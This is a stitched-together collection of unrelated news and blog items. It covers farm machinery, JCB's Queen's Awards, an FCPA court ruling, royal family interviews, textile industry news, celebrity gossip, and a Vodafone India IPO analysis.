The MF Delta 9380 is also available in an Autolevel version, where the whole combine is levelled by rotating the final drives  ensuring the machine can continue to work at maximum performance even on sloping ground.

MF 8700 series - Massey Ferguson's most powerful tractor

The MF 8700 series represents the pinnacle of Massey Fergusons engineering achievements  topped by the most powerful tractor the manufacturer has ever made.

With five models in the range, spanning 300-400hp with Engine Power Management (EPM), the tractors can operate the largest drills, tillage implements, tankers and trailers with ease.

Maximum torque at 1,500rpm with EPM ranges from 1,300 Nm on the MF 8727 through to 1,600 Nm on the top of the range MF 8737.

The range is further improved with third generation Selective Catalytic Reduction (SCR) technology to meet the latest Stage IV/Tier 4 Final emissions limits.

The tractors, fitted with AGCO Fuse Technologies to allow owners and operators to monitor the performance of their machines, are available in two levels of specification  Efficient or Exclusive - to suit users businesses, budget and workload.

The spacious Panorama cab features a purposeful layout, with superb instrumentation, intuitive industry-leading Dyna-VT transmission and levers and switches grouped on the armrest to the right of the operator.

Four pillars allow for unrestricted visibility and a wide door and adjustable cab steps provide access, while the OptiRide Plus cab suspension gives comfort.

An Electronic Linkage Control (ELC) system gives the highest standards of draft control with accurate depth settings and ground contour following. The result is more weight transfer, better traction, less wheel slip and reduced tyre wear, improving both fuel consumption and output.

A Closed Centre Load-Sensing (CCLS) hydraulic system provides 175 l/min oil flow for linkage and external services.

Shock absorbing Active Transport Control (ATC) is integrated into the ELC system to minimise the pitching action, automatically adjusting for different implement weights.

Rear linkage lift capacity is an immense 12,000kg. Two front hydraulic couplers provide hydraulic service for implements, with an overall lift capacity of just over 5,000kg.

AutoGuide 3000 auto-steering and AGCO COMMAND telemetry options are also available.
JCB is honoured for innovation and export sales growth with three Queens Awards for Enterprise.

Winning its first Queens Awards is JCB Power Systems, producer of the engine which powered the JCB Dieselmax streamliner to a world diesel land speed record of 350.092mph on the Bonneville Salt Flats, Utah, USA, a decade ago  a record which has never been broken.

The company, based in Foston, Derbyshire wins the Queens Award for Innovation for the development of its Ecomax engine family.

Fitted with a combustion system using new technology and computer control to meet new global emissions legislation, the feature cuts fuel consumption by 10% and eliminates the need for after-treatment.

JCB originally began producing engines in 2004 to power its own machines and today more than 70% of all the companys products are fitted with the JCB engine.

The success of the engine means that other companies around the world now buy it and overseas sales grew by more than 325% between 2012 and 2014  earning JCB Power Systems a second Queens Award, this time for International Trade.

Completing the Queens Awards hat-trick for the JCB Group is Cheadle, Staffordshire-based JCB Compact Products, manufacturer of compact construction equipment including micro, mini and midi excavators.

In the face of fierce global competition, overseas sales of JCB Compact Products machines grew by 25% from 2013 to 2015  earning the business a Queens Award for International Trade.

The three accolades mean that JCB cements its position as the UK record holder of Queens Awards  winning a total of 30 since its first in 1969.

JCB Chairman Lord Bamford said today: "Product innovation is what drives JCBs success, so we are particularly thrilled that the JCB engine has won a Queens Award for Innovation.

"In the 12 years since manufacturing began, JCB has produced more than 350,000 of its own engines, secured a diesel land speed record and developed a great British business which employs more than 250 people, so winning Queens Awards marking our achievements is the icing on the cake.

"For JCB Compact Products to win a Queens Award for increasing exports is a tremendous achievement because the company operates in a fiercely competitive market, particularly in the mini excavator sector where there are more than 30 different global manufacturers."
Young farmers across Europe share a high risk from volatility and the brunt of current low commodity prices but are on track with ideas for Common Agricultural Policy (CAP) reform.

Members of the European Council of Young Farmers (CEJA) gathered in Brussels this week to discuss the current market crisis with European industry and government representatives.

Delegates questioned the effectiveness of the current CAP regarding volatility, European global competitiveness and input to the next CAP reform.

Tools to manage volatility, intermediary insurance schemes, biofuels and the environment were high on the agenda.

Hopes for new EU global markets and support from the European investment Bank for individual farmers were also talked about.

Richard Bower, NFYFC and NFU Next Generation CEJA representative said: "Its clear that European young farmers are discussing the same issues across the member states and we are focussed on CAP 2020.

"Our discussion provided a tangible exchange of thoughts among young farmers across the EU.

"We have previously discussed insurance policies but this was not the direction of travel suggested when we met Commissioner Hogans representatives last year.

"It shows how quickly policy can change and we are in a good position to shape our future."

The National Federation of Young Farmers Clubs (NFYFC) has received support from the NFU to help retain their membership of the European Council of Young Farmers (CEJA) and currently shares its membership with the NFU Next Generation Policy Forum.

This enables NFYFC CEJA representatives to attend pan-European working groups, seminars and conferences in a bid to influence policy makers and industry to put young farmers needs and aspirations high on their agenda.

With over 25,000 members and 644 clubs, the NFYFC is one of the largest rural youth organisations in the UK and head of a nationwide body of Young Farmers Clubs located throughout England and Wales dedicated to supporting young people in agriculture and the countryside.

Their memberships comprise young people aged between 10 and 26 years from a variety of backgrounds, who live or work in rural areas.
Legal ruling set to have implications for farm inheritance rows
The annual award, in its fifth year, recognises excellence in service to woolgrowers, auctioneering and innovation by a wool broker employee who is working for a national council member and has been in the industry for 10 years or less.
Is Wawa coming to Fayetteville? Heres what we know.

Wawa, a Pennsylvania-based convenience store chain that residents have long clamored for, could be coming to the area.
On March 16, the U.S. District Court for the District of Connecticut affirmed its earlier ruling that a non-resident foreign national cannot be charged with conspiracy to violate the Foreign Corrupt Practices Act or with aiding and abetting a violation of the FCPA, unless the government can show that he acted as an agent of a domestic concern or while physically present in the United States.

The ruling in U.S. v. Hoskins may have a significant impact on the scope of FCPA prosecutions, and alter the investigation dynamic by limiting the number of potential defendants and cooperators.

In light of these developments, it is not surprising that the DOJ has filed a notice of appeal seeking to overturn the courts decision.

Lawrence Hoskins, a British national and former Alstom U.K. executive based in Paris, was indicted on FCPA and money-laundering charges in connection with a bribery scheme to secure a $118 million project to build power stations for Indonesias state-owned and state-controlled electricity company.

In his capacity as Senior Vice President for the Asia region in Alstoms International Network, Hoskins is alleged to have approved selection of and authorized payments to consultants retained for the purpose of paying bribes to Indonesian officials.

In August 2015, Judge Arterton dismissed one count of the indictment against Hoskins, holding that Hoskins could not be held criminally liable for conspiring to violate or aiding and abetting a violation of the FCPA. In the March 16 ruling, Judge Arterton rejected the governments request that the court reconsider its earlier decision.

Under the FCPA, the court held, there are only three jurisdictional bases:

(i) where a domestic concern or U.S. issuer of securities, or any officer, director, employee, or agent thereof makes use of U.S. interstate commerce in furtherance of a corrupt payment;

(ii) where a U.S. citizen, national, or resident acts outside the United States in furtherance of a corrupt payment; and

(iii) where any other person, while in the territory of the United States, acts in furtherance of a corrupt payment.

A domestic concern includes any individual who is a U.S. national and any organization with its principal place of business or jurisdiction of incorporation in the United States.

Since Hoskins was never a U.S. citizen, national or resident, and is not accused of having acted in furtherance of the bribery scheme while in the United States, the court concluded he could only be charged as an agent of a domestic concern.

The DOJ had argued that Hoskins could be charged with conspiring with, and aiding and abetting, a domestic concern  here, Alstoms U.S. subsidiary  to violate the FCPA. DOJ asserted this was possible, even if Hoskins did not act as the subsidiarys agent and therefore could not be charged with a substantive violation of the FCPA.

Theories of accomplice liability under the conspiracy statute and aiding and abetting statute generally apply across the United States Code to impose liability upon those who conspire with or aid and abet in the commission of any federal crime. This is true even if the defendant cannot be held liable for the underlying substantive offense. See United States v. LaSpina, 299 F.3d 165, 177-78 (2d Cir. 2002).

The government has on numerous occasions invoked accomplice theories of liability to prosecute foreign defendants that did not act within the United States. For instance, even though they took no action in the United States, Japanese and European companies (Marubeni, JGC, and Snamprogetti) were charged in 2012 with conspiring with and aiding and abetting a domestic concerns FCPA violations.



The DOJs argument in Hoskins was also consistent with the Resource Guide to the Foreign Corrupt Practice Act (available here in pdf), which reflects the governments view of the law. That guidance contended that a foreign national who had never acted in the United States could still be subject to jurisdiction under a traditional application of conspiracy law . . . .

In rejecting the governments position, the court relied on the U.S. Supreme Courts decision in Gebardi v. United States, 287 U.S. 112 (1932), which established that where Congress excludes a class of individuals from liability under a criminal statute, the government may not rely on accomplice theories of liability to prosecute those same individuals. Relying heavily on the FCPAs legislative history, the court held that Congress had clearly set out the circumstances in which a foreign national could be convicted under the FCPA and the government could not circumvent those limitations by charging Hoskins as an accomplice or co-conspirator.

The Hoskins decision represents a potential set back in the governments efforts to prosecute individuals under the FCPA following the issuance of the Yates memo in 2015. The government may still prosecute foreign nationals as agents of domestic concerns  and in fact the government did indict Hoskins on that basis in addition to the conspiracy and accomplice charges. But the option to charge individuals as co-conspirators or accomplices provides the government with a powerful tool, and the possible lack of that charging theory in FCPA and related cases should be carefully considered by those facing a federal investigation.

Further, the court appears to have expanded the scope of the principle announced in Gebardi, and potentially shields from prosecution any foreign executive who conspires with a U.S. company to bribe foreign officials, so long as that executive is not an agent of that company and does not engage in unlawful conduct within the United States. The fact that the DOJ asked the District Court to reconsider its earlier ruling, and has now appealed the decision to the Second Circuit, indicates the importance of this issue to the governments broader enforcement efforts.

In addition, Hoskins still faces money laundering charges that remain unaffected by the Courts ruling. The DOJ has increasingly used the Money Laundering Control Act (MLCA) to complement the FCPA in prosecuting international bribery cases.The MLCA allows the government to reach areas outside the strict confines of the FCPA, enabling the government to pursue multiple avenues for a conviction relying largely on the same set of facts. In light of the Hoskins ruling, it is likely that this trend will continue.

_______

Ryan Rohlfsen, pictured above, is a partner in Ropes & Grays government enforcement practice and previously served as a Senior Trial Attorney at the U.S. Department of Justices Criminal Division, Fraud Section. He can be contacted here.



Joshua Asher is an associate in Ropes & Grays government enforcement practice. He can be contacted here.


1) I recently earned my black belt in shorin-ryu karate.

It took me about seven and a half years, in large part because I kept doing things like going out of the country for a month or having ankle surgery (twice!). But I kept with it -- and will continue to do so, because getting your black belt doesn't mean you're "done." It means that you've gotten started.

In the Labyrinth of Drakes: A Memoir by Lady Trent (A Natural History of Dragons 4)

2) I'm a semi-serious amateur photographer.

This is a hobby I've gradually gotten into over a period of years; I like having a creative outlet that's visual rather than verbal. At the end of March I put up my first public display of my photos, at https://borderlands-books.com/ Borderlands Books in San Francisco; you can see the photos I chose at https://www.flickr.com/photos/[email protected]/sets/72157664290378693/ on Flickr.

3) I've studied a number of foreign languages, though I'm not fluent in any of them.

So far it's been Spanish, Latin, Japanese, Irish Gaelic, and Old Norse -- I don't really count the two weeks of Finnish and Navajo, because I never got beyond a few sentences in either of those languages. But I used to be able to translate both Latin and Old Norse pretty well, and have some remnants of conversational ability in Spanish and Japanese.

4) I grew up in Texas.

I can't say that I agree with the politics of my home state . . . and yet, I do still think of myself as Texan. I lived there from the time I was born until I left for college; that kind of thing leaves a mark on you. (But after eight years in the San Francisco Bay Area, I've become Californian enough to look at things placed on high shelves and think, "what if that falls in an earthquake?")

5) I went to graduate school in anthropology and folklore.

I wound up leaving school to write full-time before I finished my Ph.D., but I was there for six years, and did complete the coursework. This has definitely fed into my writing, by introducing me to all kinds of other cultures, ways of living, modes of belief, and so forth. I generally advise aspiring writers to study something that will give them things to write about, rather than just studying writing itself.

6) Roleplaying games are one of my biggest hobbies.

Not only do I enjoy playing and running them, but I studied them in grad school -- wrote papers on them and everything -- and I was a freelance writer for the fourth edition of Legend of the Five Rings. They're a really great way to play around with story in a social context, in contrast with the often solitary nature of writing.

7) I used to play both French horn and piano.

I still do play piano a little, though not as seriously as when I was a kid; French horn, on the other hand, is a tough instrument to just noodle around with for fun. But it did leave me with a tendency to listen for the harmony line in any piece of music, because that's what French horns are often playing; I tend to really like songs that do something interesting on that front.

8) I love swimming butterfly.

I was on a swim team as a kid, and I was one of the few members of the team who figured out the trick to swimming fly. It's exhausting -- no other stroke is as much of a full-body workout as that one -- but once you get the hang of it, you feel like a total badass. And then everybody at your local gym is impressed when you can swim even twenty-five meters of fly.

9) I've traveled to sixteen foreign countries.

The list to date consists of: the United Kingdom, Ireland, Poland, France, Spain, Monaco, Italy, Vatican City, Croatia, Montenegro, Greece, Turkey, Israel, Costa Rica, Japan, and India. (Also Puerto Rico and the British Virgin Islands, which I think of as foreign countries regardless of their territorial status. But I don't count Canada or Mexico, because I've only been on a day trip across the border when I was too young to remember.) This is, in fact, a large part of what has spurred my interest in photography.

10) I love cats.

Stereotypical writer is stereotypical! But it's true: I grew up with a cat, from when I was three years old until I was in my sophomore year of college. The only reason I don't have one today is that my husband is allergic. I love their elegance, their ridiculousness, and how they merge those two things into one feline whole. And I think their self-sufficience makes them an excellent pet for a writer.
Britain's Prince George doesn't know he is set to be king.

Prince George

Prince William, 33, and his wife Duchess Catherine, 33, have also not told their two-year-old son that he is a member of the most famous royal family in the world.

During an interview with the BBC that aired on Wednesday (21.01.14), on the eve of his grandmother Queen Elizabeth II's 90th birthday, the father-of-two revealed there will be a "time and a place" in the future to break the news to the little boy, who will turn three in July.

He said: "There will be a time and place to bring George up and understand how he fits in the world."

The Duke of Cambridge - who also has 11-month-old daughter Charlotte - added: "Right now it's just a case of keeping a secure and stable environment and showing him as much love as I can as a father."

Meanwhile, Prince William confessed it is difficult to imagine himself as holding the rank of king, because it would mean his father and the heir apparent to the throne Prince Charles and his grandmother would have "moved on".

Asked if he ponders what type of king he will be, he said: "It occupies a lot of my thinking space as to how on earth you'd develop into something modern in today's world."

But it doesn't keep him awake at night because "it means my family have moved on and I don't want that".
Britain's Prince Charles "often" thinks about the "crazy" people who want to harm the Royal family.

Britain's Prince Charles

The heir to the throne, aged 67, revealed his fears after he watched old family footage during a BBC documentary to mark the monarch's 90th birthday, entitled 'Elizabeth at 90 - A Family Tribute', which aired on Thursday (21.04.16).

He described an incident that involved his mother, Queen Elizabeth II, leading the 'Trooping the Colour' - a ceremony performed by regiments of the British and Commonwealth - along The Mall in London.

The streets were lined with huge crowds cheering the monarch on as she rode horseback toward Buckingham Palace, when suddenly shots were fired.

Her son recalled: "Every year it's impeccably organised... I was riding behind her with my father and the Duke of Kent, the sound of shots came from the crowd. This chap, it turned out, fired blanks. But uh, you know, at the time..."

He continued: "It's one of those things you often think about - you know riding down The Mall at any minute - who might do something crazy, because there are all sorts of people about."

However, it wasn't the first attack on a member of the royal family at the location.

Seven years prior, Princess Anne was attacked nearby by a gunman and in 1936, her grandfather, King Edward VIII, faced a man with a loaded revolver.

And Queen Victoria - who died in 1901 - was also shot at by a man with a gun in The Mall.

However, the Queen is "made of strong stuff" and hardly flinched as she calmed her horse and continued on.

Charles added: "You must continue, that is the great thing, like ma'ma certainly did. But she is a marvellous rider. She's made of strong stuff."
Britain's Prince Harry revealed he was "bricking it" during his first Royal tour abroad.

Prince Harry

The 31-year-old prince opened up about feeling "incredibly nervous" when he was asked to represent his grandmother, Queen Elizabeth II, on an official engagement overseas for the first time in 2012 on a visit to the Bahamas and Jamaica.

Speaking during a BBC documentary to mark the monarch's 90th birthday titled 'Elizabeth at 90 - A Family Tribute' which aired on Thursday (21.04.16), he shared: "When you go on official tours, to Bahamas, Belize, and all those places, on my first proper tour, representing her, I was bricking it, I was incredibly nervous, you know, would everyone be disappointed that it wasn't her? Will I get it all right? Will I make any mistakes? So you know there is a huge amount of pressure."

However, the flame-haired monarch - who is fourth in line to the throne - was allowed to "crack on" with the job at hand and relied on the lessons he had learned through watching his grandmother over the years.

Prince Harry continued: "But you know, she has led the way. And I think she is more happy to let you crack on. If you get it wrong, then she'll tell you. And likewise if we get it wrong, then we apologise."
Britain's Prince William "regularly" asks Queen Elizabeth II for her "secret" to having a long and successful marriage.

Duke and Duchess of Cambridge and Queen Elizabeth II

The 33-year-old prince - who is married to Duchess Catherine, 34 - often turns to his grandmother to seek advice on how to achieve a long and happy marriage like the one she shares with his grandfather Prince Philip, Duke of Edinburgh.

Speaking during a BBC documentary to mark the monarch's 90th birthday, titled 'Elizabeth at 90 - A Family Tribute' which aired on Thursday (21.04.16), the handsome royal said he is in awe of his grandparents, who are the "most lovely couple", and shared: "I would love to know their secret, it's actually fantastic and I have regularly asked them both how on earth they have both managed it. They are the most lovely couple, and I hope Catherine and I have that sort of future ahead of us, where we can be as happily married as they are for 68 years."

But William - who has two children, Prince George of Cambridge, two, and 11-month-old daughter Princess Charlotte of Cambridge, with Catherine - thinks one of their secrets to a happy life is always keeping their family close by.

He added: "I think she loves having her big family around her and knowing where they are and making sure they are OK. And it's a very kind of subtle attention that she has. So she keeps an eye and you don't necessarily know it, but she she knows exactly what you're up to and what's going on."
The Delhi High Court today sought the Centre's response on a petition challenging a circular by the Reserve Bank of India (RBI) which bans companies which receive foreign direct investment (FDI) from retail trading in any form through e-commerce.A bench of Chief Justice G Rohini and Justice Jayant Nath issued notice to the Centre and asked it to file its response within four weeks. The court has fixed the matter for May 24, according to a PTI report During the hearing, the RBI' s counsel told the bench, which had earlier sought its reply on the plea, that they would file their response soon.The public interest litigation has contended that as per the July 1, 2015 master circular of the RBI, while FDI is allowed in business-to-business (B2B) e-commerce, companies that get FDI cannot undertake single and multi-brand retail trading through e-commerce.

It has sought an inquiry into the affairs and transactions of all FDI recipient companies and stop operation of those found to be directly or indirectly carrying out e- commerce in retail sector.



The petitioner also said that "100 per cent FDI is permissible through automatic route for buying and selling by a company through the e-commerce platform but this is subject to the condition that such companies would engage only in B2B e-commerce as against business to consumer (B2C) pattern and not in retail trading".



The plea had alleged that "in order to mislead and confuse the competent authorities, the said e-commerce companies are creating a conundrum of group websites/companies amongst the closely held/managed sister companies/business concerns and thereby causing tremendous loss to the government exchequer."



Last month, the government gave the green light to 100% FDI in the marketplace format of e-commerce retailing with a view to attract more foreign investments.



According to the guidelines issued by the Department of Industrial Policy and Promotion (DIPP) on FDI in e-commerce, FDI has not been allowed in inventory-based model of e-commerce. (SH)

Fibre2Fashion News Desk  India
Jakel Defence System Sdn Bhd, a wholly-owned unit of Jakel Trading Sdn Bhd, is eyeing Brunei's defence textile market.According to Jakel Defence System's Director of Business Development, Saiful Izhar Senawi, besides military apparel, the company planned to supply military equipment such as night google, jungle hat, rain coat, backpack and inner vest for the Brunei's defence market, the Bernama news agency has reported.

Jakel Defence System Sdn Bhd, a wholly-owned unit of Jakel Trading Sdn Bhd, is eyeing Brunei's defence textile market.According to Jakel Defence#

"Royal Brunei Armed Forces Commander Major-General Datuk Paduka Seri Mohd Tawih Abdullah visited the Jakel Defence's exhibition site at the Defence Services Asia Exhibition and Conference 2016 yesterday to view our collection," he told Bernama on Thursday.He said there has been encouraging response from the Brunei commander's visit.This is the third time Jakel Defence's has participated at the DSA following strong business prospects in the demand for textile apparel. Saiful Izhar said compared to previous participation in DSA events, the company received more encouraging response in the current edition.Besides Brunei, Jakel Defence has also received encouraging response from other countries such as Timor Leste, Sudan and Bosnia-Herzegovina that had also shown interests to collaborate in the supply of military apparel for their countries.Saiful Izhar said Jakel Defence recently supplied 2,000 units of additional military apparel to Maldives' Ministry of Defence which had previously ordered 10,000 units.Jakel Defence had already established a strategic cooperation with the Maldives's Defence Ministry with the supply of high-quality military apparel which was suitable for the environment in the tropical island nation. The military apparel has also been digitalised in pixel-form with camouflage features.Saiful Izhar also said that Jakel Defence has so far clinched contracts worth RM136 million ($35 million) with the Malaysian government for the supply of military apparel for the Malaysian armed forces.He said Jakel Defence has also designed military apparel for the Royal Malaysian Air Force which would be introduced on June 1. (SH)

Fibre2Fashion News Desk  India
America's Cherokee Global Brands, a global marketer of style-focused lifestyle brands, has announced a multi-year license agreement with Ahold Czech Republic, a division of the Netherlands-based Ahold company, to launch Cherokee-branded product in its Albert hypermarket division.The agreement includes a wide range of Cherokee family lifestyle categories including men's, women's and children's clothing, essentials, footwear and accessories, Cherokee Global Brands said n a press release.Cherokee-branded product will launch in more than 80 of Albert's 330 stores in the Czech Republic beginning Fall 2016.

Ahold will fully leverage Cherokee Global Brands' 360 degree capabilities platform and work seamlessly with the Company's in-house design and marketing teams to launch Cherokee shop-in-shops within Albert stores. The launch will include family lifestyle and back-to-school campaigns, which Cherokee Global Brands will support with a fully-integrated marketing plan, including social and digital outreach and PR events that evoke the brand's iconic American family lifestyle sensibility.



Milan Hladil, commercial director of Ahold Czech Republic said: Ahold strives to satisfy our customers' needs by constantly improving the product ranges and services we provide. We are pleased to introduce new lines of the Cherokee brand in our Albert Stores and are looking forward to growing our non-food business together with the Cherokee brand. We are confident that the debut of the Cherokee brand in Albert Stores will be fully embraced by Czech consumers.



Our 360 degree platform provides Ahold with turn-key design, merchandising and implementation solutions that will ensure speed to market, in addition to immersive, engaging in-store experiences for Albert customers. We look forward to forging a successful, long-term partnership with Ahold in the Czech Republic, said Howard Siegel, Cherokee's President and Chief Operating Officer. (SH)

Fibre2Fashion News Desk  India
Ahead of the third anniversary of the Rana Plaza tragedy that killed over 1000 garment workers in Bangladesh, the 2016 Australian Fashion Report has underlined the pressing need to accelerate efforts to uphold the rights of workers throughout the entire apparel industry supply chain.There are presently 14.2 million people in forced labour exploitation and 168 million child labourers scattered across the global economy, says the report. Many of this number are forced to work in the farms and factories that feed the apparel industry. For millions of others working in the industry, wages remain so low that they are unable to lift themselves and their families out of poverty.

Ahead of the third anniversary of the Rana Plaza tragedy that killed over 1000 garment workers in Bangladesh, the 2016 Australian Fashion Report has#

The Australian Fashion Report sheds light on what the industry and individual companies are doing to address forced labour, child labour and exploitation. Each report - since the launch of the first in 2013 - has tracked the progress within the industry. The change since 2013 has been significant.In the latest edition, Behind the Barcode, a project of the Baptist World Aid Australia that brings out the Australian Fashion Report, 87 companies were assessed, and were awarded a grade from A to F based on the strength of their labour rights management systems to mitigate the risk of exploitation in their supply chain. This report marks a significant expansion of the work of previous reports adding 50 per cent more companies, updating the research and adopting a new and enhanced rating tool. Seventy eight per cent of the companies assessed directly engaged in the research process - up from 54 per cent in the first report.Fairtrade companies, though still relatively niche, remain the standout when it comes to strong labour rights management. Etiko and Audrey Blue (inc. Mighty Good Undies) both received A+ grades. The next best performer was one of the world's biggest fashion retailers, Inditex (Zara), which received an A grade. Australian brands Cotton On Group, APG & Co (Saba, Sportscraft, Willow, JAG), Country Road Group and Pacific Brands all received a commendable B+.The past 12 months have seen some substantial improvements in reported company performance, with APG & Co, Industrie and David Jones being the most significant. APG & Co demonstrated that it had substantially traced back to the inputs stage of its supply chain (it knew who its fabric suppliers were), and that it sourced from predominantly unionised factories for its final stage of manufacturing. Industrie demonstrated that it had significant traceability back to its input suppliers, and that it had begun work to understand what percentage of its factories were currently paying a living wage. David Jones results reflect a strong uptick in investments to improve labour rights, significantly improving traceability and the quality of its auditing and supplier relationships.
Bank of China's Ho Chi Minh City Branch signed a $103 million syndicated loan for a Vietnam-based subsidiary of leading Chinese yarn manufacturer Texhong Textile Group on Wednesday, Xinhua has reported.The loan will be used to broaden and deepen production of Texhong Galaxy Technology Company which was established in the northern province of Quang Ninh with investment capital of $300 million.

Bank of China's Ho Chi Minh City Branch signed a $103 million syndicated loan for a Vietnam-based subsidiary of leading Chinese yarn manufacturer#

Texhong Textile Group, a leading cotton textile manufacturer in the world, has four production bases in Vietnam.At the syndicated term loan signing ceremony on Wednesday evening, Director of Bank of China's Ho Chi Minh City Branch Wang Hao said that because of the Chinese firms' expanded investment in Vietnam and relevant stakeholders' involvement, the bank has had opportunities to enhance its financial services' performance in the country , contributing to the economic ties between China and Vietnam.According Wang, bilateral trade between China and Vietnam will surpass $100 billion this year, and Vietnam will overtake Malaysia to become China's biggest trading partner in Southeast Asia.Vietnam and China are expediting the construction of "One Belt, One Road" and "two belts and one economic corridor," Wang said, adding that Vietnam is also implementing or going to implement many regional and bilateral free trade agreements.General Director of Texhong Galaxy Technology Company Huang Yiyong said that Texhong will create more jobs for Vietnamese people, contribute more to the Vietnamese state budget and facilitate technology transfer.Texhong production bases in Vietnam currently have 1.25 million spindles which is 15 per cent of Vietnam's total spindles, Huang said. They produce about 300,000 tonnes of textile each year, or 43 per cent of Vietnam's total textiles production. (SH)

Fibre2Fashion News Desk  India
India's textile export remained flat at $40 billion in the last fiscal, as compared to $41.4 billion in 2014-15, Textiles Minister Santosh Kumar Gangwar has said."Despite poor market conditions, the textile industry did well as compared to other sectors on export front. Our textile exports remained at $40 billion in 2015-16," he told PTI after the inaugurating Technotex 2016 conference in Mumbai.

India's textile export remained flat at $40 billion in the last fiscal, as compared to $41.4 billion in 2014-15, Textiles Minister Santosh Kumar#

India's textile and clothing export during last fiscal was lower than the target of $47.5 billion set by the government. According to industry experts the subdued trend in export was due to recessionary trend in Europe and the US markets.While textile exports did not grow, Gangwar said that the country has a huge growth potential in the technical textile sector which is expected to expand at a high rate."This (technical textile) sector is still at its nascent stage but it has been recognised as the fastest growing segment of the textile sector by the government and industry stakeholders alike.Based on past trends of growth and estimated end user segment growth, the Working Group on Technical Textiles for 12th Five Year Plan has projected the market size to Rs 1.58 lakh crore ($ 28.82 billion) for the year 2016-17 with a growth rate of 20 per cent," the minister added.Gangwar said Technotex exemplifies the immense potential for trade and investment between India and foreign countries in technical textile sector.The 3-day exhibition and international conference Technotex 2016 has attracted over 150 exhibitors, looking to showcase a varied collection of technical textiles from the various sub sectors of the industry. (SH)

Fibre2Fashion News Desk  India
A day before yesterday (April 20, 2016), Aishwarya Rai Bachchan was all over the news owing to her ninth wedding anniversary. And now,we got our hands on the latest picture of Aishwarya Rai Bachchan with little daughter Aaradhya Bachchan.The duo was clicked by shutterbugs. But our concern is why Aishwarya looks so disturbed? We hope all is well with both the Bachchan girls.

Meanwhile, also check out some of the most beautiful pictures of Aishwarya Rai Bachchan from the recent events, which you may have missed.

Click On VIEW PHOTOS To Go Through The Slides..

Aishwarya, On The Work Front:

On the work front, Aishwarya is gearing up for her upcoming film, Sarbjit, which is slated to hit the theatres on May 20, 2016.

In Pictures: SRK's MIND-BOGGLING Transformation Into Gaurav For Fan

The Guru actress will be seen essaying the role of Dalbir Kaur Singh in this biopic, which is based on the life Sarabjit Singh, an Indian farmer who was convicted of terrorism and spying in Pakistan and was sentenced to death.

"When Omung Kumar(director of the film) came to me with the subject, it was an immediate yes. How can we walk away from telling such a story? We all continue our lives and don't necessarily take a minute out to experience how an incident can completely change the dynamic of family," Aishwarya had told reporters during the trailer launch of "Sarbjit" here.

Aishwarya had also said that the 'history cannot go unknown'. "Dalbir for over 23 years fought for this kind of sibling love and commitment is commendable. This story needed to be told and thank you for bringing it to me," she had told.

Along with Aishwarya, Sarbjit movie also casts Randeep Hooda, Richa Chadha and Darshan Kumar in the lead roles.
Mainland Chinese investment banks and brokerage firms have expanded into Hong Kong, in a bid to profit from the worlds largest IPO fundraising hub last year by volume of deals.

The trend accelerated in the first quarter of 2016 when Chinese institutions climbed up the Asia ex-Japan ECM league tables.

During the three-month period, eight of Asia ex-Japan and Australias top 10 investment banks by ECM deal volume were mainland Chinese institutions.

High-profile examples of IPOs fully underwritten by Chinese institutions include the Bank of Tianjin's HK$7.36 billion offering in March.

Bankers at US and European rival firms said Chinese banks are seizing market share by fiercely cutting fees to win deals. As many Chinese brokerage firms have completed fundraising plans, they are also able to leverage on their strong cash positions to underwrite equity deals and expand their advisory teams.

Meanwhile, foreign bulge-bracket banks have fallen down the ladder partly due to muted deal activity outside China and Hong Kong where Chinese banks have less of a presence. The combined deal volume in South East Asia, for example, was only about 6% that of Hong Kong in the first quarter, according to Dealogic.

Chinese securities firms are expanding into offshore markets to diversify away from the highly-regulated onshore IPO market where listings were suspended for 15 months between 2012 and 2014, followed by another four-month ban in the second half of last year.

Click the graphics above for full view.
British telecommunications giant Vodafone will have to pull out all the stops and produce a compelling and comprehensive business plan if it is to entice investors in the run-up to the initial public offering of its Indian operations later this year.

Bankers familiar with the situation said Thursday that Vodafone India is set to begin meeting investment banks early next week to select underwriters for the IPO that could raise about $2 billion, although the precise size could vary depending on deal structure and valuation.

The deal will almost certain draw massive attention from local and foreign investors alike, given the relatively low mobile penetration rates in India, the massive potential size of the Indian market, and the high-profile name involved.

But Vodafone India also faces various onerous hurdles, ranging from mounting operational costs and increased competition to nagging tax issues.

One looming threat is the highly-anticipated entrance of Reliance Jio Infocomm into the 4G broadband market. The telecom unit of Reliance Industries was scheduled to launch its services commercially early this year but the plan was pushed back to the end of the year.

Vodafone India and Idea Cellular, Indias second-largest and third-largest telecom operators, are expected to suffer the most from the entrance of Reliance Jio Infocomm into the telecoms market, according to analysts. That is because Reliance Jio already possesses a wireless network to cover 80% of the Indian populace, while Vodafone India and Idea Cellular are only able to offer 4G-LTE services regionally.

As such, Reliance Jios 4G launch later this year will limit their scope for expansion beyond their existing locations.

In contrast, the impact on Indias largest telecoms operator Bharti Airtel will be limited because it already owns enough airwaves to offer 4G services nationwide.

Rising costs

In order to expand its 4G-LTE service before Reliance Jio enters the market, Vodafone India will have to acquire additional 4G spectrum from the government in the annual spectrum auction scheduled for July this year.

The costs of acquiring the spectrum are much higher this year compared to last years auction. According to Standard & Poors estimates, India could fetch as much Rs5.4 trillion ($81 billion) from the auction this year, more than four times the $18 billion received in 2015.

The Telecommunication Regulatory Authority of India has set the reserve price for the 700 megahertz spectrum, which is a common frequency for developing a 4G-LTE network, at $1.7 billion per Mhz.

London-based consultancy GSM Association has warned that the price is too high and might deter interest from telcos.

Vodafone is also disgruntled over India's spectrum auction system.

"While India represents an excellent long term investment opportunity, the present regulatory challenges are hampering economic development." group chairman Gerard Kleisterlee said in a statement to shareholders last year. "Spectrum auction structures combined with the piecemeal release of new spectrum, leaves less capital available for investment in bringing high quality services to more of the country, and this is exacerbated by other ongoing regulatory challenges."

Should Vodafone India decide to bid for new spectrum, it will add to the already huge financial burden at the group level. According to Vodafones 2015 annual report, the India unit is required to settle a 1.85 billion ($2.7 billion) payment for purchasing mobile spectrum at the annual auction last year.

In addition to that, Vodafone India had outstanding bank loans of $7 billion as of the end of March 2015, representing an increase of 13% compared with a year earlier.

With cash held offshore standing at $1.6 billion as of the end of March last year, the company will need more than $8 billion to settle the auction payment and refinance the bank loans. That might mean resorting to further equity financing after the IPO since it has already used up all its credit facilities for the 2014/15 financial year.

Tax litigation

Vodafone is involved in a prolonged tax dispute with the Indian tax authority over its acquisition of the Indian operations of Hong Kong-based Hutchison Telecommunications nine years ago.

The Indian government claims it failed to pay a $2.5 billion withholding tax when it bought the business in 2007, although there is uncertainly over whether India has the authority to levy withholding taxes on transactions between two overseas companies.

In the latest development, the government has appealed against a high court verdict to exempt Vodafone from the tax payment.

